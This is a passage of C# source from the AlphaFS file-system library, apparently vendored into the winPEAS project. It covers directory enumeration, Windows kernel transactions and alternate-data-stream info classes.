NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(_entryInfo.Win32FindData); } } /// [AlphaFS] The initial "IsDirectory" indicator that was passed to the constructor. protected bool IsDirectory { get; set; } /// The full path of the file system object in Unicode (LongPath) format. protected string LongFullName { get; set; } /// [AlphaFS] Represents the KernelTransaction that was passed to the constructor. protected KernelTransaction Transaction { get; set; } #endregion // AlphaFS #endregion // Properties #region Methods #region .NET /// Deletes a file or directory. [SecurityCritical] public abstract void Delete(); /// Refreshes the state of the object. /// /// FileSystemInfo.Refresh() takes a snapshot of the file from the current file system. /// Refresh cannot correct the underlying file system even if the file system returns incorrect or outdated information. /// This can happen on platforms such as Windows 98. /// Calls must be made to Refresh() before attempting to get the attribute information, or the information will be /// outdated. /// [SecurityCritical] public void Refresh() { DataInitialised = File.FillAttributeInfoCore(Transaction, LongFullName, ref Win32AttributeData, false, false); IsDirectory = File.IsDirectory(Win32AttributeData.dwFileAttributes); } /// Returns a string that represents the current object. /// /// ToString is the major formatting method in the .NET Framework. It converts an object to its string representation so that it is /// suitable for display. /// /// A string that represents this instance. public override string ToString() { // "Alphaleonis.Win32.Filesystem.FileSystemInfo" return GetType().ToString(); } /// Serves as a hash function for a particular type. /// A hash code for the current Object. public override int GetHashCode() { return null != FullName ? FullName.GetHashCode() : 0; } /// Determines whether the specified Object is equal to the current Object. /// Another instance to compare to. /// true if the specified Object is equal to the current Object; otherwise, false. public bool Equals(FileSystemInfo other) { return null != other && GetType() == other.GetType() && Equals(Name, other.Name) && Equals(FullName, other.FullName) && Equals(Attributes, other.Attributes) && Equals(CreationTimeUtc, other.CreationTimeUtc) && Equals(LastAccessTimeUtc, other.LastAccessTimeUtc); } /// Determines whether the specified Object is equal to the current Object. /// Another object to compare to. /// true if the specified Object is equal to the current Object; otherwise, false. public override bool Equals(object obj) { var other = obj as FileSystemInfo; return null != other && Equals(other); } /// Implements the operator == /// A. /// B. /// The result of the operator. public static bool operator ==(FileSystemInfo left, FileSystemInfo right) { return ReferenceEquals(left, null) && ReferenceEquals(right, null) || !ReferenceEquals(left, null) && !ReferenceEquals(right, null) && left.Equals(right); } /// Implements the operator != /// A. /// B. /// The result of the operator. public static bool operator !=(FileSystemInfo left, FileSystemInfo right) { return !(left == right); } #endregion // .NET /// [AlphaFS] Refreshes the current instance ( or ) with a new destination path. internal void UpdateSourcePath(string destinationPath, string destinationPathLp) { LongFullName = destinationPathLp; FullPath = null != destinationPathLp ? Path.GetRegularPathCore(LongFullName, GetFullPathOptions.None, false) : null; OriginalPath = destinationPath; DisplayPath = null != OriginalPath ? Path.GetRegularPathCore(OriginalPath, GetFullPathOptions.None, false) : null; // Flush any cached information about the FileSystemInfo instance. Reset(); } /// [AlphaFS] Refreshes the state of the EntryInfo property. /// /// FileSystemInfo.RefreshEntryInfo() takes a snapshot of the file from the current file system. /// Refresh cannot correct the underlying file system even if the file system returns incorrect or outdated information. /// This can happen on platforms such as Windows 98. /// Calls must be made to Refresh() before attempting to get the attribute information, or the information will be outdated. /// [SecurityCritical] protected void RefreshEntryInfo() { _entryInfo = File.GetFileSystemEntryInfoCore(Transaction, IsDirectory, LongFullName, true, PathFormat.LongFullPath); if (null == _entryInfo) DataInitialised = -1; else { DataInitialised = 0; Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(_entryInfo.Win32FindData); } } /// [AlphaFS] Resets the state of the file system object to uninitialized. private void Reset() { DataInitialised = -1; } /// Initializes the specified file name. /// /// /// The transaction. /// Specifies that is a file or directory. /// The full path and name of the file. /// Indicates the format of the path parameter(s). internal void InitializeCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat) { if (pathFormat == PathFormat.RelativePath) Path.CheckSupportedPathFormat(path, true, true); LongFullName = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | (isFolder ? GetFullPathOptions.RemoveTrailingDirectorySeparator : 0) | GetFullPathOptions.ContinueOnNonExist); // (Not on MSDN): .NET 4+ Trailing spaces are removed from the end of the path parameter before creating the FileSystemInfo instance. FullPath = Path.GetRegularPathCore(LongFullName, GetFullPathOptions.None, false); IsDirectory = isFolder; Transaction = transaction; OriginalPath = FullPath.Length == 2 && FullPath[1] == Path.VolumeSeparatorChar ? Path.CurrentDirectoryPrefix : path; DisplayPath = OriginalPath.Length != 2 || OriginalPath[1] != Path.VolumeSeparatorChar ? Path.GetRegularPathCore(OriginalPath, GetFullPathOptions.None, false) : Path.CurrentDirectoryPrefix; } internal static SafeFindFileHandle FindFirstFileNative(KernelTransaction transaction, string pathLp, NativeMethods.FINDEX_INFO_LEVELS infoLevel, NativeMethods.FINDEX_SEARCH_OPS searchOption, NativeMethods.FIND_FIRST_EX_FLAGS additionalFlags, out int lastError, out NativeMethods.WIN32_FIND_DATA win32FindData) { var safeHandle = null == transaction || !NativeMethods.IsAtLeastWindowsVista // FindFirstFileEx() / FindFirstFileTransacted() // 2013-01-13: MSDN confirms LongPath usage. // A trailing backslash is not allowed. ? NativeMethods.FindFirstFileEx(Path.RemoveTrailingDirectorySeparator(pathLp), infoLevel, out win32FindData, searchOption, IntPtr.Zero, additionalFlags) : NativeMethods.FindFirstFileTransacted(Path.RemoveTrailingDirectorySeparator(pathLp), infoLevel, out win32FindData, searchOption, IntPtr.Zero, additionalFlags, transaction.SafeHandle); lastError = Marshal.GetLastWin32Error(); if (!NativeMethods.IsValidHandle(safeHandle, false)) safeHandle = null; return safeHandle; } #endregion // Methods } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FindFileSystemEntryInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Text.RegularExpressions; using winPEAS._3rdParty.AlphaFS; #if !NET35 using System.Threading; #endif namespace Alphaleonis.Win32.Filesystem { /// Class that retrieves file system entries (i.e. files and directories) using Win32 API FindFirst()/FindNext(). [Serializable] internal sealed class FindFileSystemEntryInfo { #region Fields [NonSerialized] private static readonly Regex WildcardMatchAll = new Regex(@"^(\*)+(\.\*+)+$", RegexOptions.IgnoreCase | RegexOptions.Compiled); // special case to recognize *.* or *.** etc [NonSerialized] private Regex _nameFilter; [NonSerialized] private string _searchPattern = Path.WildcardStarMatchAll; #endregion // Fields #region Constructor /// Initializes a new instance of the class. /// The NTFS Kernel transaction, if used. /// if set to true the path is a folder. /// The path. /// The wildcard search pattern. /// The enumeration options. /// The custom filters. /// The format of the path. /// The type of objects to be retrieved. [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] public FindFileSystemEntryInfo(KernelTransaction transaction, bool isFolder, string path, string searchPattern, DirectoryEnumerationOptions? options, DirectoryEnumerationFilters customFilters, PathFormat pathFormat, Type typeOfT) { if (null == options) throw new ArgumentNullException("options"); Transaction = transaction; OriginalInputPath = path; InputPath = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); IsRelativePath = !Path.IsPathRooted(OriginalInputPath, false); RelativeAbsolutePrefix = IsRelativePath ? InputPath.Replace(OriginalInputPath, string.Empty) : null; SearchPattern = searchPattern.TrimEnd(Path.TrimEndChars); // .NET behaviour. FileSystemObjectType = null; ContinueOnException = (options & DirectoryEnumerationOptions.ContinueOnException) != 0; AsLongPath = (options & DirectoryEnumerationOptions.AsLongPath) != 0; AsString = typeOfT == typeof(string); AsFileSystemInfo = !AsString && (typeOfT == typeof(FileSystemInfo) || typeOfT.BaseType == typeof(FileSystemInfo)); LargeCache = (options & DirectoryEnumerationOptions.LargeCache) != 0 ? NativeMethods.UseLargeCache : NativeMethods.FIND_FIRST_EX_FLAGS.NONE; // Only FileSystemEntryInfo makes use of (8.3) AlternateFileName. FindExInfoLevel = AsString || AsFileSystemInfo || (options & DirectoryEnumerationOptions.BasicSearch) != 0 ? NativeMethods.FindexInfoLevel : NativeMethods.FINDEX_INFO_LEVELS.Standard; if (null != customFilters) { InclusionFilter = customFilters.InclusionFilter; RecursionFilter = customFilters.RecursionFilter; ErrorHandler = customFilters.ErrorFilter; #if !NET35 CancellationToken = customFilters.CancellationToken; #endif } if (isFolder) { IsDirectory = true; Recursive = (options & DirectoryEnumerationOptions.Recursive) != 0 || null != RecursionFilter; SkipReparsePoints = (options & DirectoryEnumerationOptions.SkipReparsePoints) != 0; // Need folders or files to enumerate. if ((options & DirectoryEnumerationOptions.FilesAndFolders) == 0) options |= DirectoryEnumerationOptions.FilesAndFolders; } else { options &= ~DirectoryEnumerationOptions.Folders; // Remove enumeration of folders. options |= DirectoryEnumerationOptions.Files; // Add enumeration of files. } FileSystemObjectType = (options & DirectoryEnumerationOptions.FilesAndFolders) == DirectoryEnumerationOptions.FilesAndFolders // Folders and files (null). ? (bool?) null // Only folders (true) or only files (false). : (options & DirectoryEnumerationOptions.Folders) != 0; } #endregion // Constructor #region Properties /// Gets or sets the ability to return the object as a instance. /// true returns the object as a instance. public bool AsFileSystemInfo { get; private set; } /// Gets or sets the ability to return the full path in long full path format. /// true returns the full path in long full path format, false returns the full path in regular path format. public bool AsLongPath { get; private set; } /// Gets or sets the ability to return the object instance as a . /// true returns the full path of the object as a public bool AsString { get; private set; } /// Gets or sets the ability to skip on access errors. /// true suppress any Exception that might be thrown as a result from a failure, such as ACLs protected directories or non-accessible reparse points. public bool ContinueOnException { get; private set; } /// Gets the file system object type. /// /// null = Return files and directories. /// true = Return only directories. /// false = Return only files. /// public bool? FileSystemObjectType { get; private set; } /// Gets or sets if the path is an absolute or relative path. /// Gets a value indicating whether the specified path string contains absolute or relative path information. public bool IsRelativePath { get; private set; } /// Gets or sets the initial path to the folder. /// The initial path to the file or folder in long path format. public string OriginalInputPath { get; private set; } /// Gets or sets the path to the folder. /// The path to the file or folder in long path format. public string InputPath { get; private set; } /// Gets or sets the absolute full path prefix of the relative path. private string RelativeAbsolutePrefix { get; set; } /// Gets or sets a value indicating which to use. /// true indicates a folder object, false indicates a file object. public bool IsDirectory { get; private set; } /// Uses a larger buffer for directory queries, which can increase performance of the find operation. /// This value is not supported until Windows Server 2008 R2 and Windows 7. public NativeMethods.FIND_FIRST_EX_FLAGS LargeCache { get; private set; } /// The FindFirstFileEx function does not query the short file name, improving overall enumeration speed. /// This value is not supported until Windows Server 2008 R2 and Windows 7. public NativeMethods.FINDEX_INFO_LEVELS FindExInfoLevel { get; private set; } /// Specifies whether the search should include only the current directory or should include all subdirectories. /// true to include all subdirectories. public bool Recursive { get; private set; } /// Search for file system object-name using a pattern. /// The path which has wildcard characters, for example, an asterisk () or a question mark (). [SuppressMessage("Microsoft.Usage", "CA2208:InstantiateArgumentExceptionsCorrectly")] public string SearchPattern { get { return _searchPattern; } internal set { if (null == value) throw new ArgumentNullException("SearchPattern"); _searchPattern = value; _nameFilter = _searchPattern == Path.WildcardStarMatchAll || WildcardMatchAll.IsMatch(_searchPattern) ? null : new Regex(string.Format(CultureInfo.InvariantCulture, "^{0}$", Regex.Escape(_searchPattern).Replace(@"\*", ".*").Replace(@"\?", ".")), RegexOptions.IgnoreCase | RegexOptions.Compiled); } } /// true skips ReparsePoints, false will follow ReparsePoints. public bool SkipReparsePoints { get; private set; } /// Get or sets the KernelTransaction instance. /// The transaction. public KernelTransaction Transaction { get; private set; } /// Gets or sets the custom enumeration in/exclusion filter. /// The method determining if the object should be in/excluded from the output or not. public Predicate InclusionFilter { get; private set; } /// Gets or sets the custom enumeration recursion filter. /// The method determining if the directory should be recursively traversed or not. public Predicate RecursionFilter { get; private set; } /// Gets or sets the handler of errors that may occur. /// The error handler method. public ErrorHandler ErrorHandler { get; private set; } #if !NET35 /// Gets or sets the cancellation token to abort the enumeration. /// A instance. private CancellationToken CancellationToken { get; set; } #endif #endregion // Properties #region Methods private SafeFindFileHandle FindFirstFile(string pathLp, out NativeMethods.WIN32_FIND_DATA win32FindData, out int lastError, bool suppressException = false) { lastError = (int) Win32Errors.NO_ERROR; var searchOption = null != FileSystemObjectType && (bool) FileSystemObjectType ? NativeMethods.FINDEX_SEARCH_OPS.SearchLimitToDirectories : NativeMethods.FINDEX_SEARCH_OPS.SearchNameMatch; var handle = FileSystemInfo.FindFirstFileNative(Transaction, pathLp, FindExInfoLevel, searchOption, LargeCache, out lastError, out win32FindData); if (!suppressException && !ContinueOnException) { if (null == handle) { switch ((uint) lastError) { case Win32Errors.ERROR_FILE_NOT_FOUND: // FileNotFoundException. case Win32Errors.ERROR_PATH_NOT_FOUND: // DirectoryNotFoundException. case Win32Errors.ERROR_NOT_READY: // DeviceNotReadyException: Floppy device or network drive not ready. Directory.ExistsDriveOrFolderOrFile(Transaction, pathLp, IsDirectory, lastError, true, true); break; } ThrowPossibleException((uint) lastError, pathLp); } } return handle; } private FileSystemEntryInfo NewFilesystemEntry(string pathLp, string fileName, NativeMethods.WIN32_FIND_DATA win32FindData) { var fullPath = (IsRelativePath ? pathLp.Replace(RelativeAbsolutePrefix, string.Empty) : pathLp) + fileName; return new FileSystemEntryInfo(win32FindData) {FullPath = fullPath}; } private T NewFileSystemEntryType(bool isFolder, FileSystemEntryInfo fsei, string fileName, string pathLp, NativeMethods.WIN32_FIND_DATA win32FindData) { // Determine yield, e.g. don't return files when only folders are requested and vice versa. if (null != FileSystemObjectType && (!(bool) FileSystemObjectType || !isFolder) && (!(bool) !FileSystemObjectType || isFolder)) return (T) (object) null; // Determine yield from name filtering. if (null != fileName && !(null == _nameFilter || null != _nameFilter && _nameFilter.IsMatch(fileName))) return (T) (object) null; if (null == fsei) fsei = NewFilesystemEntry(pathLp, fileName, win32FindData); // Return object instance FullPath property as string, optionally in long path format. return AsString ? null == InclusionFilter || InclusionFilter(fsei) ? (T) (object) (AsLongPath ? fsei.LongFullPath : fsei.FullPath) : (T) (object) null // Make sure the requested file system object type is returned. // null = Return files and directories. // true = Return only directories. // false = Return only files. : null != InclusionFilter && !InclusionFilter(fsei) ? (T) (object) null // Return object instance of type FileSystemInfo. : AsFileSystemInfo ? (T) (object) (fsei.IsDirectory ? (FileSystemInfo) new DirectoryInfo(Transaction, fsei.LongFullPath, PathFormat.LongFullPath) {EntryInfo = fsei} : new FileInfo(Transaction, fsei.LongFullPath, PathFormat.LongFullPath) {EntryInfo = fsei}) // Return object instance of type FileSystemEntryInfo. : (T) (object) fsei; } private void ThrowPossibleException(uint lastError, string pathLp) { switch (lastError) { case Win32Errors.ERROR_NO_MORE_FILES: lastError = Win32Errors.NO_ERROR; break; case Win32Errors.ERROR_FILE_NOT_FOUND: // On files. case Win32Errors.ERROR_PATH_NOT_FOUND: // On folders. case Win32Errors.ERROR_NOT_READY: // DeviceNotReadyException: Floppy device or network drive not ready. // MSDN: .NET 3.5+: DirectoryNotFoundException: Path is invalid, such as referring to an unmapped drive. // Directory.Delete() lastError = IsDirectory ? (int) Win32Errors.ERROR_PATH_NOT_FOUND : Win32Errors.ERROR_FILE_NOT_FOUND; break; //case Win32Errors.ERROR_DIRECTORY: // // MSDN: .NET 3.5+: IOException: path is a file name. // // Directory.EnumerateDirectories() // // Directory.EnumerateFiles() // // Directory.EnumerateFileSystemEntries() // // Directory.GetDirectories() // // Directory.GetFiles() // // Directory.GetFileSystemEntries() // break; //case Win32Errors.ERROR_ACCESS_DENIED: // // MSDN: .NET 3.5+: UnauthorizedAccessException: The caller does not have the required permission. // break; } if (lastError != Win32Errors.NO_ERROR) { var regularPath = Path.GetCleanExceptionPath(pathLp); // Pass control to the ErrorHandler when set. if (null == ErrorHandler || !ErrorHandler((int) lastError, new Win32Exception((int) lastError).Message, regularPath)) { // When the ErrorHandler returns false, thrown the Exception. NativeError.ThrowException(lastError, regularPath); } } } private void VerifyInstanceType(NativeMethods.WIN32_FIND_DATA win32FindData) { var regularPath = Path.GetCleanExceptionPath(InputPath); var isFolder = File.IsDirectory(win32FindData.dwFileAttributes); if (IsDirectory) { if (!isFolder) throw new DirectoryNotFoundException(string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_PATH_NOT_FOUND, string.Format(CultureInfo.InvariantCulture, Resources.Target_Directory_Is_A_File, regularPath))); } else if (isFolder) throw new FileNotFoundException(string.Format(CultureInfo.InvariantCulture, "({0}) {1}", Win32Errors.ERROR_FILE_NOT_FOUND, string.Format(CultureInfo.InvariantCulture, Resources.Target_File_Is_A_Directory, regularPath))); } /// Gets an enumerator that returns all of the file system objects that match both the wildcards that are in any of the directories to be searched and the custom predicate. /// An instance: FileSystemEntryInfo, DirectoryInfo, FileInfo or string (full path). [SecurityCritical] public IEnumerable Enumerate() { // MSDN: Queue // Represents a first-in, first-out collection of objects. // The capacity of a Queue is the number of elements the Queue can hold. // As elements are added to a Queue, the capacity is automatically increased as required through reallocation. The capacity can be decreased by calling TrimToSize. // The growth factor is the number by which the current capacity is multiplied when a greater capacity is required. The growth factor is determined when the Queue is constructed. // The capacity of the Queue will always increase by a minimum value, regardless of the growth factor; a growth factor of 1.0 will not prevent the Queue from increasing in size. // If the size of the collection can be estimated, specifying the initial capacity eliminates the need to perform a number of resizing operations while adding elements to the Queue. // This constructor is an O(n) operation, where n is capacity. var dirs = new Queue(NativeMethods.DefaultFileBufferSize); dirs.Enqueue(Path.AddTrailingDirectorySeparator(InputPath, false)); using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) while (dirs.Count > 0 #if !NET35 && !CancellationToken.IsCancellationRequested #endif ) { int lastError; NativeMethods.WIN32_FIND_DATA win32FindData; // Removes the object at the beginning of your Queue. // The algorithmic complexity of this is O(1). It doesn't loop over elements. var pathLp = dirs.Dequeue(); using (var handle = FindFirstFile(pathLp + Path.WildcardStarMatchAll, out win32FindData, out lastError)) { // When the handle is null and we are still here, it means the ErrorHandler is active. // We hit an inaccessible folder, so break and continue with the next one. if (null == handle) continue; do { if (lastError == (int) Win32Errors.ERROR_NO_MORE_FILES) { lastError = (int) Win32Errors.NO_ERROR; continue; } // Skip reparse points here to cleanly separate regular directories from links. if (SkipReparsePoints && (win32FindData.dwFileAttributes & FileAttributes.ReparsePoint) != 0) continue; var fileName = win32FindData.cFileName; var isFolder = (win32FindData.dwFileAttributes & FileAttributes.Directory) != 0; // Skip entries ".." and "." if (isFolder && (fileName.Equals(Path.ParentDirectoryPrefix, StringComparison.Ordinal) || fileName.Equals(Path.CurrentDirectoryPrefix, StringComparison.Ordinal))) continue; var fsei = NewFilesystemEntry(pathLp, fileName, win32FindData); var res = NewFileSystemEntryType(isFolder, fsei, fileName, pathLp, win32FindData); // If recursion is requested, add it to the queue for later traversal. if (isFolder && Recursive && (null == RecursionFilter || RecursionFilter(fsei))) dirs.Enqueue(Path.AddTrailingDirectorySeparator(pathLp + fileName, false)); // Codacy: When constraints have not been applied to restrict a generic type parameter to be a reference type, then a value type, // such as a struct, could also be passed. In such cases, comparing the type parameter to null would always be false, // because a struct can be empty, but never null. If a value type is truly what's expected, then the comparison should use default(). // If it's not, then constraints should be added so that no value type can be passed. if (Equals(res, default(T))) continue; yield return res; } while ( #if !NET35 !CancellationToken.IsCancellationRequested && #endif NativeMethods.FindNextFile(handle, out win32FindData)); lastError = Marshal.GetLastWin32Error(); if (!ContinueOnException #if !NET35 && !CancellationToken.IsCancellationRequested #endif ) ThrowPossibleException((uint) lastError, pathLp); } } } /// Gets a specific file system object. /// /// The return type is based on C# inference. Possible return types are: /// - (full path), - ( or ), instance /// or null in case an Exception is raised and is true. /// [SecurityCritical] public T Get() { using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { NativeMethods.WIN32_FIND_DATA win32FindData; var lastError = 0; // Not explicitly set to be a folder. if (!IsDirectory) { using (var handle = FindFirstFile(InputPath, out win32FindData, out lastError)) { if (null != handle) { if (!ContinueOnException) VerifyInstanceType(win32FindData); } else return (T) (object) null; return NewFileSystemEntryType((win32FindData.dwFileAttributes & FileAttributes.Directory) != 0, null, null, InputPath, win32FindData); } } using (var handle = FindFirstFile(InputPath, out win32FindData, out lastError, true)) { if (null == handle) { // InputPath might be a logical drive such as: "C:\", "D:\". var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); lastError = File.FillAttributeInfoCore(Transaction, Path.GetRegularPathCore(InputPath, GetFullPathOptions.None, false), ref attrs, false, true); if (lastError != Win32Errors.NO_ERROR) { if (!ContinueOnException) { switch ((uint) lastError) { case Win32Errors.ERROR_FILE_NOT_FOUND: // FileNotFoundException. case Win32Errors.ERROR_PATH_NOT_FOUND: // DirectoryNotFoundException. case Win32Errors.ERROR_NOT_READY: // DeviceNotReadyException: Floppy device or network drive not ready. case Win32Errors.ERROR_BAD_NET_NAME: Directory.ExistsDriveOrFolderOrFile(Transaction, InputPath, IsDirectory, lastError, true, true); break; } ThrowPossibleException((uint) lastError, InputPath); } return (T) (object) null; } win32FindData = new NativeMethods.WIN32_FIND_DATA { cFileName = Path.CurrentDirectoryPrefix, dwFileAttributes = attrs.dwFileAttributes, ftCreationTime = attrs.ftCreationTime, ftLastAccessTime = attrs.ftLastAccessTime, ftLastWriteTime = attrs.ftLastWriteTime, nFileSizeHigh = attrs.nFileSizeHigh, nFileSizeLow = attrs.nFileSizeLow }; } if (!ContinueOnException) VerifyInstanceType(win32FindData); } return NewFileSystemEntryType((win32FindData.dwFileAttributes & FileAttributes.Directory) != 0, null, null, InputPath, win32FindData); } } #endregion // Methods } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/KernelTransaction.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; using System.Security.Permissions; using System.Transactions; namespace Alphaleonis.Win32.Filesystem { [ComImport] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] [Guid("79427A2B-F895-40e0-BE79-B57DC82ED231")] [SuppressUnmanagedCodeSecurity] internal interface IKernelTransaction { void GetHandle([Out] out SafeKernelTransactionHandle handle); } /// A KTM transaction object for use with the transacted operations in . public sealed class KernelTransaction : MarshalByRefObject, IDisposable { /// Initializes a new instance of the class, internally using the specified . /// This method allows the usage of methods accepting a with an instance of . /// /// The transaction to use for any transactional operations. [SuppressMessage("Microsoft.Security", "CA2122:DoNotIndirectlyExposeMethodsWithLinkDemands")] [SecurityCritical] public KernelTransaction(Transaction transaction) { ((IKernelTransaction) TransactionInterop.GetDtcTransaction(transaction)).GetHandle(out _hTrans); } /// Initializes a new instance of the class with a default security descriptor, infinite timeout and no description. [SecurityCritical] public KernelTransaction() : this(0, null) { } /// Initializes a new instance of the class with a default security descriptor. /// The time, in milliseconds, when the transaction will be aborted if it has not already reached the prepared state. /// A user-readable description of the transaction. This parameter may be null. [SecurityCritical] public KernelTransaction(int timeout, string description) : this(null, timeout, description) { } /// Initializes a new instance of the class. /// The operating system is older than Windows Vista. /// The security descriptor. /// The time, in milliseconds, when the transaction will be aborted if it has not already reached the prepared state. /// Specify 0 to provide an infinite timeout. /// A user-readable description of the transaction. This parameter may be null. [SecurityCritical] public KernelTransaction(ObjectSecurity securityDescriptor, int timeout, string description) { if (!NativeMethods.IsAtLeastWindowsVista) throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message); using (var securityAttributes = new Security.NativeMethods.SecurityAttributes(securityDescriptor)) { _hTrans = NativeMethods.CreateTransaction(securityAttributes, IntPtr.Zero, 0, 0, 0, timeout, description); int lastError = Marshal.GetLastWin32Error(); NativeMethods.IsValidHandle(_hTrans, lastError); } } /// Requests that the specified transaction be committed. /// /// /// The operating system is older than Windows Vista. /// [SecurityCritical] public void Commit() { if (!NativeMethods.IsAtLeastWindowsVista) throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message); if (!NativeMethods.CommitTransaction(_hTrans)) CheckTransaction(); } /// Requests that the specified transaction be rolled back. This function is synchronous. /// /// /// The operating system is older than Windows Vista. [SecurityCritical] public void Rollback() { if (!NativeMethods.IsAtLeastWindowsVista) throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message); if (!NativeMethods.RollbackTransaction(_hTrans)) CheckTransaction(); } private static void CheckTransaction() { uint error = (uint) Marshal.GetLastWin32Error(); int hr = Marshal.GetHRForLastWin32Error(); switch (error) { case Win32Errors.ERROR_TRANSACTION_ALREADY_ABORTED: throw new TransactionAlreadyAbortedException("Transaction was already aborted", Marshal.GetExceptionForHR(hr)); case Win32Errors.ERROR_TRANSACTION_ALREADY_COMMITTED: throw new TransactionAlreadyAbortedException("Transaction was already committed", Marshal.GetExceptionForHR(hr)); default: Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); break; } } /// Gets the safe handle. /// The safe handle. public SafeHandle SafeHandle { get { return _hTrans; } } private readonly SafeKernelTransactionHandle _hTrans; #region IDisposable Members /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. [SecurityPermissionAttribute(SecurityAction.Demand, UnmanagedCode = true)] public void Dispose() { _hTrans.Close(); } #endregion // IDisposable Members } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/AlternateDataStreamInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Globalization; using System.Text; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { /// Information about an alternate data stream. /// [Serializable] public struct AlternateDataStreamInfo : IEquatable { #region Fields [NonSerialized] private readonly string _fullPath; [NonSerialized] private readonly string _streamName; #endregion // Fields #region Constructor internal AlternateDataStreamInfo(string fullPath, NativeMethods.WIN32_FIND_STREAM_DATA findData) { _fullPath = fullPath; Size = findData.StreamSize; _streamName = ParseStreamName(findData.cStreamName); } #endregion // Constructor #region Properties /// Gets the full path to the stream. /// /// This is a path in long path format that can be passed to to open the stream if /// or is specified. /// /// The full path to the stream in long path format. public string FullPath { get { return string.Format(CultureInfo.InvariantCulture, "{0}{1}", _fullPath, !Utils.IsNullOrWhiteSpace(StreamName) ? Path.StreamSeparator + StreamName : string.Empty); } } /// Gets the size of the stream. public long Size { get; private set; } /// Gets the name of the alternate data stream. /// This value is an empty string for the default stream (:$DATA), and for any other data stream it contains the name of the stream. /// The name of the stream. public string StreamName { get { return _streamName; } } #endregion // Properties #region Methods /// Returns the hash code for this instance. /// A 32-bit signed integer that is the hash code for this instance. public override int GetHashCode() { return Utils.CombineHashCodesOf(StreamName, FullPath); } 